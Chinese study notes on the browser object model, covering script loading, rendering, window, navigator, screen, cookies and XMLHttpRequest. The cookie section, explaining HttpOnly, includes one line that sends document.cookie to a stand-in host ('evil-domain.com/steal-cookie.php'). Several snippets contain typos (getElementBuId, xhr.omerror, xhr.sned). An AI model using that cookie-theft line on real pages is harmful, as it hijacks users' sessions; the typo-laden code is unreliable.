Skip to content

10-1-BOM

第十章 BOM

统计信息:字数 34511 阅读70分钟

2021-11-24 2023-04-11

10.1 BOM基本原理

概念

JS 代码嵌入网页有四种方法:

  • script 嵌入内部代码,type = 'text/javascript' 说明脚本的类型。早期浏览器使用 'text/javascript' 新浏览器推荐使用 'application/javascript'。如果是其他参数,脚本不会执行(可以利用这个方法,传入其他信息,使用DOM方法获取脚本内容)
  • script 嵌入外部代码,设置 src 属性是外部的JS代码。如果内部外部同时使用,内部代码不会生效。script 脚本可以添加一个 integrity 属性,写入脚本的哈希签名,验证外部脚本的一致性,避免外部脚本篡改。
  • HTML 行内代码:事件触发后可以执行脚本 onclick='console.log('click');'
  • A 内部:<a href="javascript:console.log('Hello')">点击</a> 如果 JavaScript 代码返回一个字符串,浏览器就会新建一个文档,展示这个字符串的内容,原有文档的内容都会消失。

脚本执行原理:

  • 浏览器下载HTML,下载并开始解析
  • 遇到 JS 代码,停止HTML解析;开始JS解析;如果是外部JS代码,需要下载完毕后解析JS。如果下载时间较长,会产生阻塞。所以通常把JS脚本放在页面底部。如果在头部加载,DOM没有渲染,可能JS出错
  • 解析JS完毕后,继续解析HTML界面

浏览器对于同一个域名下的资源数量有限制,为了避免服务器请求过多;如果资源很多,可以放在不同的域名下。

defer 属性

外部的脚本,如果添加了defer属性,就会在HTML下载解析结束后再执行这个脚本。浏览器解析HTML和下载脚本过程是并行的,这样会避免阻塞。

async 属性

浏览器遇到async属性的脚本,会使用另一个进程下载脚本,下载过程中不会造成阻塞。下载JS任务和解析HTML是并行的。当脚本下载完毕,暂停DOM渲染,执行JS脚本。执行完毕后,继续界面的DOM渲染。注意:如果多脚本异步下载,先下载的脚本会先执行。

defer 和 async 使用:如果脚本间有较强的依赖性(babel react)需要使用defer(设置async属性是false),如果脚本间没有依赖性,可以使用 async。

加载协议

默认协议是HTTP协议,可以在Scr属性中设置其他协议下载,或者根据界面自身的协议下载。

<script src="https://test.js"></script>
<script src="//example.js"></script>

浏览器组成

浏览器有DOM渲染引擎和JS解释器(JS引擎)组成

渲染引擎:Firefox:Gecko;Safari:WebKit ;Chrome:Blink ;IE: Trident ;Edge: EdgeHTML

渲染引擎工作流程:HTML解析成DOM,CSS解析成CSSOM(object model),将这两部分合成渲染树(render tree),计算渲染树的布局(layout),将渲染树绘制到屏幕。这几部分不是完全先后执行的,可能一部分已经渲染,另一部分HTML还在下载

重绘和重流

布局(布局流,flow)和绘制(paint):渲染树转化成网页布局(layout)的过程叫布局,网页布局(layout)转化成屏幕显示叫绘制。这两部分会阻塞并且消耗性能。

重绘和重流:页面首次生成后,操作脚本和样式表会造成界面的重流或重绘。重流必然造成重绘,重绘不会造成重流。如果改变文字颜色,页面的布局不会改,所以不会重流,只会重绘。如果改变文本内容,界面布局会改变,会重流重绘。浏览器会对比改变前后的渲染树的差别,计算出变化的部分diff,不会重新加载整个网页,只渲染一部分子树。开发中尽量减少重流和重绘,尽量不要改变顶层的DOM节点,table布局和flex布局会消耗性能。

性能优化

  • 读取 DOM 或者写入 DOM,尽量写在一起,不要混杂。不要读取一个 DOM 节点,然后立刻写入,接着再读取一个 DOM 节点。使用documentFragment操作 DOM,使用虚拟 DOM(virtual DOM)库。缓存 DOM 信息。

  • 不要一项一项地改变样式,而是使用 CSS class 一次性改变样式。动画使用absolute定位或fixed定位,这样可以减少对其他元素的影响。只在必要时才显示隐藏元素。

  • 使用window.requestAnimationFrame(),因为它可以把代码推迟到下一次重流时执行,而不是立即要求页面重流。

function doubleHeight(ele) {
  let currentHeight = ele.clientHeight;
  window.requestAnimationFrame(() => {
    // 可以把代码所有的写操作几种到一起,这样会减少DOM变动的开销,重绘代价少
    ele.style.height = (currentHeight * 2) + 'px';
  });
}

elements.forEach(doubleHeight);

JS 引擎

JS是解析型语言。早期浏览器内部对 JavaScript 的处理过程如下:

  1. 读取代码,进行词法分析(Lexical analysis),将代码分解成词元(token)。
  2. 对词元进行语法分析(parsing),将代码整理成“语法树”(syntax tree)。
  3. 使用“翻译器”(translator),将代码转为字节码(bytecode)。
  4. 使用“字节码解释器”(bytecode interpreter),将字节码转为机器码。

逐行解释将字节码转为机器码,是很低效的。为了提高运行速度,现代浏览器改为采用“即时编译”(Just In Time compiler,缩写 JIT),即字节码只在运行时编译,用到哪一行就编译哪一行,并且把编译结果缓存(inline cache)。通常,一个程序被经常用到的,只是其中一小部分代码,有了缓存的编译结果,整个程序的运行速度就会显著提升。

字节码不能直接运行,而是运行在一个虚拟机(Virtual Machine)之上,一般也把虚拟机称为 JavaScript 引擎。并非所有的 JavaScript 虚拟机运行时都有字节码,有的 JavaScript 虚拟机基于源码,即只要有可能,就通过 JIT(just in time)编译器直接把源码编译成机器码运行,省略字节码步骤。这一点与其他采用虚拟机(比如 Java)的语言不尽相同。这样做的目的,是为了尽可能地优化代码、提高性能。下面是目前最常见的一些 JavaScript 虚拟机: V8 (Chrome, Chromium)

10.2 window 对象

window对象和JS中普通对象类似,具有属性和方法,也会触发事件。

window对象是当前浏览器窗口的顶层对象。如果一个没有声明的变量直接使用,就会自动转化成顶层对象的属性(window的属性)。

属性

常规属性

<a href="https://an.evil.site" target="_blank" rel="noopener"></a>

框架的属性

  • window.frames 返回当前页面内所有的框架窗口(伪数组) 包括 frame iframe
  • window.length 返回框架窗口的数量
  • window.frameElement 如果一个窗口被嵌入另一个窗口,这个属性返回原始的父窗口。如果当前窗口是顶层窗口,或者和父窗口不是同源的,那么返回值是null。
  • window.top 执行顶层窗口。主要用于框架窗口中获取顶层窗口,如果没有框架,返回window
  • window.parent 返回父窗口;如果没有父窗口,返回自身

高清屏幕的属性

  • window.devicePixelRatio 返回显示像素和物理像素的比值:如果比例较大,说明处于高清屏幕(当前是2)

位置属性

  • window.screenX screenY 浏览器左上角相对于屏幕的位置
  • window.innerHeight window.innerWidth 浏览器视口的尺寸(包括滚动条)如果界面变成200%, 那么视口会变小
  • window.outerHeight window.outerWidth 浏览器窗口的尺寸(包括菜单栏和border)
  • window.scrollX scrollY

组件属性:获取浏览器的组件对象(状态栏地址栏工具栏等)

全局对象属性:document/location/navigator/history/localStorage/sessionStorage/console/screen

window.isSecureContext 返回是否处于加密状态(https)

方法

window.alert() window.confirm() window.prompt()

window.open(url, windowName, windowFeature) window.close() 关闭当前的窗口 window.stop() 停止当前窗口的加载(等价于浏览器停止按钮)

第二个参数:windowName:字符串,表示新窗口的名字。如果该名字的窗口已经存在,则占用该窗口,不再新建窗口。如果省略,就默认使用_blank,表示新建一个没有名字的窗口。另外还有几个预设值,_self表示当前窗口,_top表示顶层窗口,_parent表示上一层窗口。

open()方法的第二个参数虽然可以指定已经存在的窗口,但是不等于可以任意控制其他窗口。为了防止被不相干的窗口控制,浏览器只有在两个窗口同源,或者目标窗口被当前网页打开的情况下,才允许open方法指向该窗口。如果新窗口和父窗口不是同源的(即不在同一个域),它们彼此不能获取对方窗口对象的内部属性。

第三个参数表示新打开窗口的属性,是一个字符串(array.join(',')),属性见 https://wangdoc.com/javascript/bom/window.html

var popup = window.open(
  'somepage.html',
  'DefinitionsWindows',
  'height=200,width=200,location=no,status=yes,resizable=yes,scrollbars=yes'
);
window.moveTo()
window.moveBy()
把当前窗口移动到某个坐标,或者移动某个位移,这个窗口必须是新建的窗口

window.resizeTo(window.screen.availWidth / 2, window.screen.availHeight / 2)
window.resizeBy(-100, -200)
当前窗口缩放到某个尺寸(屏幕的一半)

window.scrollTo window.scrollBy
window.print()
window.focus() window.blur() 通常打开一个新窗口并获得焦点(显示在页面最前面)

let selectionObj = window.getSelection();
let text = selectionObj.toString();

window.getComputedStyle()
window.matchMedia()

window.requestAminationFrame()

这个方法类似于 setTimeout 会推迟函数到浏览器下一次重流时执行,执行完才会进行下一次重绘,这个函数没有设定时间,浏览器可以根据设备的速度调节执行的时间。如果函数改变网页的布局,可以使用这个方法,这样可以节省系统资源,使得网页效果更加平滑。

window.requestAnimationFrame(callback) 回调函数可以获取一个时间戳,表示距离网页加载的时间

window.requestAnimationFrame()的返回值是一个整数,这个整数可以传入window.cancelAnimationFrame(),用来取消回调函数的执行。下面是一个界面动画

var element = document.getElementById('animate');
element.style.position = 'absolute';

var start = null;

function step(timestamp) {
  if (!start) {
    start = timestamp;
  }
  var progress = timestamp - start;
  // 元素不断向左移,最大不超过200像素
  element.style.left = Math.min(progress / 10, 200) + 'px';
  // 如果距离第一次执行不超过 2000 毫秒,
  // 就继续执行动画
  if (progress < 2000) {
    window.requestAnimationFrame(step);
  }
}

window.requestAnimationFrame(step);

window.requestIdleCallback()

window.requestIdleCallback()setTimeout类似,也是将某个函数推迟执行,但是它保证将回调函数推迟到系统资源空闲时执行。也就是说,如果某个任务不是很关键,就可以使用window.requestIdleCallback()将其推迟执行,以保证网页性能。

它跟window.requestAnimationFrame()的区别在于,后者指定回调函数在下一次浏览器重排时执行,问题在于下一次重排时,系统资源未必空闲,不一定能保证在16毫秒之内完成;window.requestIdleCallback()可以保证回调函数在系统资源空闲时执行。

该方法接受一个回调函数和一个配置对象作为参数。配置对象可以指定一个推迟执行的最长时间,如果过了这个时间,回调函数不管系统资源有无空虚,都会执行。

window.requestIdleCallback(callback[, options])

callback参数是一个回调函数。该回调函数执行时,系统会传入一个IdleDeadline对象作为参数。IdleDeadline对象有一个didTimeout属性(布尔值,表示是否为超时调用)和一个timeRemaining()方法(返回该空闲时段剩余的毫秒数)。

options参数是一个配置对象,目前只有timeout一个属性,用来指定回调函数推迟执行的最大毫秒数。该参数可选。

window.requestIdleCallback()方法返回一个整数。该整数可以传入window.cancelIdleCallback()取消回调函数。

下面是一个例子。

requestIdleCallback(myNonEssentialWork);

function myNonEssentialWork(deadline) {
  while (deadline.timeRemaining() > 0) {
    doWorkIfNeeded();
  }
}

上面代码中,requestIdleCallback()用来执行非关键任务myNonEssentialWork。该任务先确认本次空闲时段有剩余时间,然后才真正开始执行任务。

下面是指定timeout的例子。

requestIdleCallback(processPendingAnalyticsEvents, { timeout: 2000 });

上面代码指定,processPendingAnalyticsEvents必须在未来2秒之内执行。

如果由于超时导致回调函数执行,则deadline.timeRemaining()返回0deadline.didTimeout返回true

如果多次执行window.requestIdleCallback(),指定多个回调函数,那么这些回调函数将排成一个队列,按照先进先出的顺序执行。

事件

window.onload = function() {
  //
}
window.onerror = function(message, filename, lineno, colno, error) {
  // JS脚本错误会触发onerror
}
window.onafterprint:afterprint事件的监听函数。 window.onbeforeprint:beforeprint事件的监听函数。 window.onbeforeunload:beforeunload事件的监听函数。 window.onhashchange:hashchange事件的监听函数。 window.onlanguagechange: languagechange的监听函数。 window.onmessage:message事件的监听函数。 window.onmessageerror:MessageError事件的监听函数。 window.onoffline:offline事件的监听函数。 window.ononline:online事件的监听函数。 window.onpagehide:pagehide事件的监听函数。 window.onpageshow:pageshow事件的监听函数。 window.onpopstate:popstate事件的监听函数。 window.onstorage:storage事件的监听函数。 window.onunhandledrejection:未处理的 Promise 对象的reject事件的监听函数。 window.onunload:unload事件的监听函数。

多窗口操作

一个网页可以使用iframe嵌入其他网页,这样一个界面会嵌套多层网页(这个技术现在过时了)。

通过下面的属性判断是否是顶层窗口:window.top window.parent window.self

if (window.top === window.self) {
  // 当前窗口是顶层窗口
}
<a href="somepage.html" target="_top">Link</a> 表示在顶层窗口打开链接

iframe 元素

let iframe = document.getElementBuId('#frame');
let innerWindow = iframe.contentWindow;
let innerDocument = iframe.contemtDocument;
innerWindow.frameElement === iframe
// 获取子窗口的window对象

// 如果在同源的情况下,可以获取内部window的属性
innerWindow.title

如果父窗口和子窗口处于同源时,两个窗口间可以直接通信

window.frames 可以获取当前窗口中全部子窗口的伪数组

10.3 Navigator

Navigator 这个对象可以反映用户浏览器和系统信息

Navigator.userAgent // "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36" 获取浏览器的厂商和基本信息。以前通过这个属性获取用户浏览器名称来处理兼容性。现在由于PC端版本复杂,一般不使用了。现在通过功能识别的方式,获取浏览器信息。可以通过这个属性判断手机浏览器和PC端大类

var ua = navigator.userAgent.toLowerCase();

if (/mobi/i.test(ua)) {
  // 手机浏览器
} else {
  // 非手机浏览器
}

/mobi|android|touch|mini/i.test(ua)

Navigator.plugins 返回一个伪数组是浏览器的插件(flash)
Navigator.platform 用户操作系统 "Linux x86_64" 但是自己测试不生效
Navigator.onLine 返回用户在线或者离线 如果是false肯定离线如果是true可能用户所在局域网也是离线的可以通过事件监听获取用户在线情况

window.addEventListener('offline', function(e) { console.log('offline'); });
window.addEventListener('online', function(e) { console.log('online'); });

Navigator.languageNavigator.languages 表示用户的首选语言和可以接受的语言(浏览器翻译界面使用)
Navigator.geolocation 包含用户地理位置的信息注意 API 只有在 HTTPS 协议下可用
Geolocation 对象提供下面三个方法
Geolocation.getCurrentPosition()得到用户的当前位置
Geolocation.watchPosition()监听用户位置变化
Geolocation.clearWatch()取消watchPosition()方法指定的监听函数
注意调用这三个方法时浏览器会跳出一个对话框要求用户给予授权

Navigator.cookieEnabled 这个属性反映的是浏览器总的特性

下面是常见的方法

Navigator.javaEnabled() 返回一个布尔值表示浏览器是否能运行 Java Applet 小程序
Navigator.sendBeacon() 用于向服务器异步发送数据

10.4 Screen

Screen 对象表示当前窗口所在的屏幕,提供显示设备的信息。window.screen属性指向这个对象。

  • Screen.height:浏览器窗口所在的屏幕的高度(单位像素)。除非调整显示器的分辨率,否则这个值可以看作常量,不会发生变化。显示器的分辨率与浏览器设置无关,缩放网页并不会改变分辨率。
  • Screen.width:浏览器窗口所在的屏幕的宽度(单位像素)。
  • Screen.availHeight:浏览器窗口可用的屏幕高度(单位像素)。因为部分空间可能不可用,比如系统的任务栏或者 Mac 系统屏幕底部的 Dock 区,这个属性等于height减去那些被系统组件的高度。
  • Screen.availWidth:浏览器窗口可用的屏幕宽度(单位像素)。
  • Screen.pixelDepth:整数,表示屏幕的色彩位数,比如24表示屏幕提供24位色彩。
  • Screen.colorDepthScreen.pixelDepth的别名。严格地说,colorDepth 表示应用程序的颜色深度,pixelDepth 表示屏幕的颜色深度,绝大多数情况下,它们都是同一件事。
  • Screen.orientation:返回一个对象,表示屏幕的方向。该对象的type属性是一个字符串,表示屏幕的具体方向,landscape-primary表示横放,landscape-secondary表示颠倒的横放,portrait-primary表示竖放,portrait-secondary

下面是Screen.orientation的例子。具体的内容参考:

https://www.cnblogs.com/ndos/p/8245164.html

https://www.cnblogs.com/crafts/articles/5750522.html

window.screen.orientation
// { angle: 0, type: "landscape-primary", onchange: null }

下面的例子保证屏幕分辨率大于 1024 x 768。

if (window.screen.width >= 1024 && window.screen.height >= 768) {
  // 分辨率不低于 1024x768
}

下面是根据屏幕的宽度,将用户导向不同网页的代码。

if ((screen.width <= 800) && (screen.height <= 600)) {
  window.location.replace('small.html');
} else {
  window.location.replace('wide.html');
}

概述

cookie 是服务器在浏览器存储的很小的文本信息,通常小于4KB, 浏览器发出请求时,会附带cookie。

服务器可以判断两次的请求是否来源于一个浏览器,可以保存用户自定义设置(语言,侧栏宽度,风格),保存token。

注意:cookie 很小,不适合保存大量数据,如果cookie很大影响性能(大量存储放在storage中)。

cookie包括:

  • Cookie 的名字
  • Cookie 的值(真正的数据写在这里面)
  • 到期时间
  • 所属域名(默认是当前域名):如果是某个域名下的cookie,URL必须是这个域名才能携带这部分cookie
  • 生效的路径(默认是当前网址)

可以通过 window.navigator.cookieEnabled 判断浏览器是否支持cookie。

根据同源策略:两个网址只要域名和端口相同可以共享cookie(协议不同也可以)

浏览器发出请求,服务器在响应头中可以设置cookie(可以设置多个cookie) 如果服务器端想改一个cookie,需要域名和路径完全相同才能改。

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: token=sdfghjklertyuiop
Set-Cookie: tasty_cookie=strawberry
Set-Cookie: key1=value2; domain=example.com; path=/blog

浏览器发出请求时,就会携带cookie;服务器获取cookie后,不能判断cookie的过期时间和路径

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: token=sdfghjklertyuiop; yummy_cookie=choco; tasty_cookie=strawberry

属性

Expires Expires 表示cookie的过期时间,浏览器根据本地时间确定cookie是否过期(本地时间可能不准确);

Max-Age Max-age 表示从现在开始,cookie 存在的秒数(7天内登录);如果不设置这两个属性,那么 cookie 就是 session(对话) cookie,就在本次对话结束后销毁。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

Domain 说明cookie的域名和路径,只有满足这个域名后,发送请求才添加cookie;

Path 只有URL中包括路径才添加cookie(前提是同源策略,域名和端口号一致)

Secure 只有协议是HTTPS才保存cookie,如果是http请求,浏览器会忽略这个cookie

HTTPOnly 只有http请求才能获取并发送当前的cookie,不能通过脚本获取cookie,避免恶意脚本跨站注入攻击。这里创建一个空图片,并把cookie发送到一个危险网站(用户名和密码);如果设置了一个 Cookie 的HttpOnly属性,JS代码就不会读到该 Cookie。

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

document.cookie 获取当前的cookie(HttpOnly属性不设置时可以获取)获取的是cookie字符串,需要转化

var cookies = document.cookie.split(';');

这个属性可写(可以通过脚本对当前网站添加Cookie)写入 Cookie 的时候,必须对分号、逗号和空格进行转义(它们都不允许作为 Cookie 的值),这可以用encodeURIComponent方法达到。document.cookie一次只能写入一个 Cookie,而且写入并不是覆盖,而是添加。如果添加多个属性,可以先转化成数组,改变数组,最后保存cookie的值(例如界面评论栏的宽度);写入cookie 时可以同时写入相关属性(过期时间)

document.cookie = 'fontSize=14; '
  + 'expires=' + someDate.toGMTString() + '; '
  + 'path=/subdirectory; '
  + 'domain=*.example.com';

Cookie 的属性一旦设置完成,就没有办法读取这些属性的值。删除一个现存 Cookie 的唯一方法,是设置它的expires属性为一个过去的日期。

document.cookie = 'fontSize=;expires=Thu, 01-Jan-1970 00:00:01 GMT';

10.6 XMLHttpequest

概述

Ajax: 异步JS和XML;脚本发起通信,就是ajax。

步骤:创建XMLHttpRequest实例对象,发送请求,服务器响应,获取数据更新界面。

现在ajax返回的数据不是XML格式,通常是JSON格式,但是ajax还保留。现在不仅仅是http协议,file ftp 协议也可以,发送的数据格式不限制。ajax只能向同源网址(协议域名端口相同)发送请求,如果跨域会报错。

下面是原生ajax发送get请求:

var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function() {
  if (xhr.readyState === 4) {
    if (xhr.status === 200) {
      console.log(xhr.responseText);
    } else {
      console.log(xhr.status);
      cosnole.log(xhr.statusText);
    }
  }
};

xhr.omerror = function() {
  console.error(xhr.statusText);
};

xhr.open('GET', 'http://example.com/page.php', true);
// 第三个参数表示异步发送请求
xhr.send(null);
// get 请求不带参数

上面的案例在 example.com 请求,可以获取下面的返回值。如果不是同源,会显示CORS阻止。

The page at 'https://wangdoc.com/javascript/bom/xmlhttprequest.html' was loaded over HTTPS, but requested an insecure XMLHttpRequest endpoint 'http://www.example.com/page.php'. This request has been blocked; the content must be served over HTTPS.
<!doctype html>
<html>
<head>
    <title>Example Domain</title>
    <meta charset="utf-8" />
    <meta http-equiv="Content-type" content="text/html; charset=utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
</head>

<body>
<div>
    <h1>Example Domain</h1>
    <p>This domain is established to be used for illustrative examples in documents. You may use this
    domain in examples without prior coordination or asking for permission.</p>
    <p><a href="http://www.iana.org/domains/example">More information...</a></p>
</div>
</body>
</html>

实例属性

xhr.readyState 表示请求的状态,4表示请求已经完成,属性变化时, xhr.onreadystatechange 会捕获到这个事件 xhr.response 服务器返回的数据,如果请求状态是4,就是全部返回的数据;如果请求没有结束(3),这个参数就是返回的部分数据;可以使任何的数据类型 xhr.responseType 表示服务器返回的数据类型,属性可写,默认是text。在open方法后,send方法前可以改变这个参数,参数可以取下面的值。

"arraybuffer":ArrayBuffer 对象,表示服务器返回二进制数组。(使用数组的方式处理二进制数据,例如图片) "blob":Blob 对象,表示服务器返回二进制对象。适合图片传递。 "document":Document 对象,表示服务器返回一个文档对象。操作DOM时,直接返回document可以加载到界面中(需要打开CORS) "json":JSON 对象。 "text":字符串。直接处理比较方便

let xhr = new XMLHttpRequest();
xhr.open('GET', 'path/iamge/test.png', true);
xhr.responseType = 'blob';
xhr.onreadystatechange = function() {
  if (xhr.readystate === 4 && xhr.status === 200) {
    let res = xhr.response;
    let blob = new Blob([res], {type: 'image/png'});
    // or let blob = xhr.response
  }
}
xhr.send();

// 二进制数组 arraybuffer 处理图片的请求
xhr.open('GET', 'to/test.png', true);
xhr.responseType = 'arraybuffer';
xhr.onload = function() {
  let uInt8Array = new Uint8Array(this.response);
  for (var i = 0, len = binStr.length; i < len; ++i ) {
    var byte = uInt8Array[i];
  }
}

下面实例属性是服务器返回值属性

xhr.responseText 服务器返回的字符串(如果返回的不是txt文本,这个属性是null)
xhr.responseXML (首先设置responseType === document) 这个属性是解析后的DOM树
xhr.responseURL 获取服务器的网址:通常和open中参数相同,网页跳转后,这个网址就是实际返回数据的网址。

xhr.status 返回HTTP状态码
xhr.statusText “OK”和“Not Found” 对应200和404
xhr.timeout 设置毫秒数,如果请求超时,停止请求(下面是例子)
var xhr = new XMLHttpRequest();

xhr.ontimeout = function (e) {
  console.error(e);
};

xhr.onload = function() {
  if (xhr.readyState === 4) {
    if (xhr.status === 200) {
      // 处理服务器返回的数据
    } else {
      console.error(xhr.statusText);
    }
  }
};

xhr.open('GET', url, true);
xhr.timeout = 10 * 1000; // 指定 10 秒钟超时
xhr.send(null);

下面是事件监听属性

XMLHttpRequest.onloadstart:loadstart 事件(HTTP 请求发出)的监听函数
XMLHttpRequest.onprogress:progress事件(正在发送和加载数据)的监听函数
这个事件对象具有三个属性:loaded total lengthComputable(布尔值,表示加载的进度是否可以计算)这里可以使用 loaded/total 获取已加载的百分比

XMLHttpRequest.onabort:abort 事件(请求中止,比如用户调用了abort()方法)的监听函数
XMLHttpRequest.onerror:error 事件(请求失败)的监听函数
XMLHttpRequest.onload:load 事件(请求成功完成)的监听函数
XMLHttpRequest.ontimeout:timeout 事件(用户指定的时限超过了,请求还未完成)的监听函数
XMLHttpRequest.onloadend:loadend 事件(请求完成,不管成功或失败)的监听函数

xhr.withCredentials 表示跨域请求时,用户信息(cookie)是否包含在请求头中(默认是false)如果是同域请求,不需要设置这个属性 浏览器设置 xhr.withCredentials = true; 服务器会返回 Access-Control-Allow-Credentials: true

上传文件时,可以获取上传的进度,使用 upload 获取上传的进度

<process min="0" max="100" value="0">0%</process>
function upload(blobOrFile) {
  let xhr = new XMLHttpRequest();
  xhr.open('POST', '/server', true);
  xhr.onload = function(e) {
    console.log(e);
  }
  let progressBar = document.querySelector('progress');
  xhr.upload.onprogress = function(e) {
    progressBar.value = (e.loaded/e.total) * 100;
    progressBar.textContent = progressBar.value; // 兼容老浏览器
  }
  xhr.send(blobOrFile);
}

let file = new Blob(['hello world']);
upload(file, {type: 'text/plain'});

实例方法

  • xhr.open('GET', url, true, userName, password) 传输的方法,URL,是否异步(默认是异步),用户名和密码(后两个参数可选)如果对使用过open的xhr再次使用open,相当于 abort 关闭这个请求。

  • xhr.sned(data); 如果是get请求,只发送URL,这里直接传null即可。如果是post请求,这里需要传入数据。数据的格式可以是blob DOM string arraybuffer formdata(表单更常用)

var formData = new FormData();
formData.append('username', '张三');
formData.append('email', 'zhangsan@example.com');
formData.append('birthDate', 1940);

xhr.open('POST', 'http://www.example.com', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send(formData);
  • xhr.setRequestHeader('Content-Type', 'application/json'); 设置请求头的信息,必须位于xhr.open() 和 xhr.send() 之间。第一个参数是字段名,第二个是字段值。如果该方法多次调用,设定同一个字段,则每一次调用的值会被合并成一个单一的值发送。
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.setRequestHeader('Content-Length', JSON.stringify(data).length);
xhr.send(JSON.stringify(data));
这里设置了数据类型是JSON,设置数据的长度。改进:stringify 耗时,可以执行一次
  • xhr.overrideMimeType('text/plain') 这个方法尽量不要使用;如果指定某一个数据类型,返回的数据是text/xml,但是各种原因造成浏览器解析不成功,需要获取原始数据,那么就设置这个属性。如果希望服务器返回指定的数据类型,可以用responseType属性告诉服务器。

  • xhr.getResponseHeader('Last') 获取响应头的信息

xhr.onload = () => {
  console.log(this.getResponseHeader('Last-Modified'));
}
  • xhr.getAllResponseHeaders() 获取响应头的全部信息(字符串)
date: Fri, 08 Dec 2017 21:04:30 GMT\r\n
content-encoding: gzip\r\n
x-content-type-options: nosniff\r\n
server: meinheld/0.6.1\r\n
x-frame-options: DENY\r\n
content-type: text/html; charset=utf-8\r\n
connection: keep-alive\r\n
strict-transport-security: max-age=63072000\r\n
vary: Cookie, Accept-Encoding\r\n
content-length: 6502\r\n
x-xss-protection: 1; mode=block\r\n

可以处理这个字符串获取信息

var headerString = xhr.getAllResponseHeaders();
let arr = headerString.trim().split(/[\r\n]+/);
let headerInfo = {};

arr.forEach((item) => {
  let parts = item.split(': ');
  let key = parts.shift();
  let value = parts.join(': ');
  headerInfo[key] = value;
});
  • xhr.abort() 终止发送的请求,此时 readyState is 4, status is 0.

实例事件

  • readystatechange === 4 请求成功,可以获取服务器返回的数据
  • progress 返回上传的进度 xhr.addEventListener('progress', updateProgress);
  • load abort error
  • loadend 上面三个事件后,会触发这个事件,但是不确定是否加载成功
  • timeout 超时事件

如果在界面关闭时,需要发送请求,那么请求是异步的,可能界面已经卸载了才发送请求,这样会造成错误。传统的解决思路是设置一个睡眠函数或者消耗函数拖延时间,但是用户体验和浏览器性能不好。

// a time-consuming operation, bad
for (let i = 1; i < 10000; i++) {
  for (let m = 1; m < 10000; m++) {
    continue;
  }
}

所以使用 Navigator.sendBeacon() 方法:这个方法还是异步发出请求,但是请求与当前页面线程脱钩,作为浏览器进程的任务,因此可以保证会把数据发出去,不拖延卸载流程。

// <body onload="analytics('start')" onunload="analytics('end')">
function analytics(state) {
  if (!navigator.sendBeacon) {
    return;
  }
  var data = 'state=' + state + '&location=' + window.location;
  navigator.sendBeacon('http://example.com/analytics', data);
}

Last update: November 9, 2024